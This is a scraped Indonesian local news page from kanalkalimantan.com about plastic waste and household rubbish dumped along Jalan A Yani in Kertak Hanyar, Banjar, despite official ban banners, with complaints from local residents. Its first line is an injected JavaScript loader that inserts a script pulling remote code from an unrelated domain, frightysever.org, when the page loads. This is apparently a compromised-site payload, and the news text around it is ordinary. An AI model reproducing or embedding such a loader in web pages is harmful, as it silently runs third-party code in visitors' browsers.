(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Tumpukan sampah plastik menghiasi sepanjang jalan A Yani Km 8,9 hingga Km 11 Kertak Hanyar. Sampah berisi pakaian bekas sampai perabot rumah tangga itu membuat pemandangan kurang sedap bagi pengguna jalan dan warga di sekitar.
Padahal di beberapa titik sudah terpasang spanduk larangan yang dipasang oleh Satpol PP Pemkab Kabupaten Banjar berisi ancaman denda dan pidana sesuai Perda Kabupaten Banjar No 4 tahun 2016 tentang pengelolaan sampah, berikut pembuangan sampah dari pukul 06.00-18.00 Wita.
Warga sekitar, Jali mengungkapkan, sering menemui warga yang membuang sampah yang tidak jauh dari tempatnya bekerja.
“Padahal sudah ada spanduk larangannya warga tetap saja membuang sampah di sini, selain merusak pemandangan, sampah juga menghasilkan bau yang tidak sedap,” ucap pria bekerja sebagai penambal ban itu.
Baca juga : 76 Ketua Tim Penggerak PKK Desa di HSU Dilantik
Kata Jali, di tempatnya itu pernah diletakkan seorang penjaga. Tapi malah diacuhkan warga dengan dalih tempat pembuangan yang jauh dari permukiman dan tidak ada titik penampungan sampah di sekitar rumah.
“Mungkin kalau ada tempat warga bisa membuang sampah pada tempatnya, serta perlu adanya ketegasan petugas untuk mendisiplinkan warga berdasarkan Perda berlaku,” ungkapnya.
Senada dengan Jali, hal yang sama juga dilontarkan Amat. Ia menceritakan temannya pernah menjadi penjaga TPS, tapi memang tidak bisa membendung kebiasaan masyarakat yang membuang sampah tiap harinya di sana.
“Ini sudah menjadi hal yang lumrah di lingkungan sini, memang tidak bisa diatur walau sudah kena tegur,” katanya.
Baca juga : Lanal Kotabaru Kembali Gelar Serbuan Vaksin Masyarakat Maritim
Amat yang berprofesi sebagai pemulung ini mengeluhkan tentang ketersediaan tempat sampah yang hingga saat belum disediakan oleh pihak yang berwenang mengurusi hal ini.
“Kita hanya membantu sedikit mengurangi beban petugas, seperti mengumpulkan sampah kertas ataupun sampah plastik guna dijual,” celetuk Amat.
Dari pantauan Kanalkalimantan.com setidaknya ada empat titik tumpukan sampah sepanjang jalan tersebut yang membuat kumuh kawasan itu. Bahkan di beberapa titik sampah memakan seperempat jalan A Yani karena tidak disediakan tempat penampungan.(kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : cell
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More
KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More
PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More
KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More
This website uses cookies.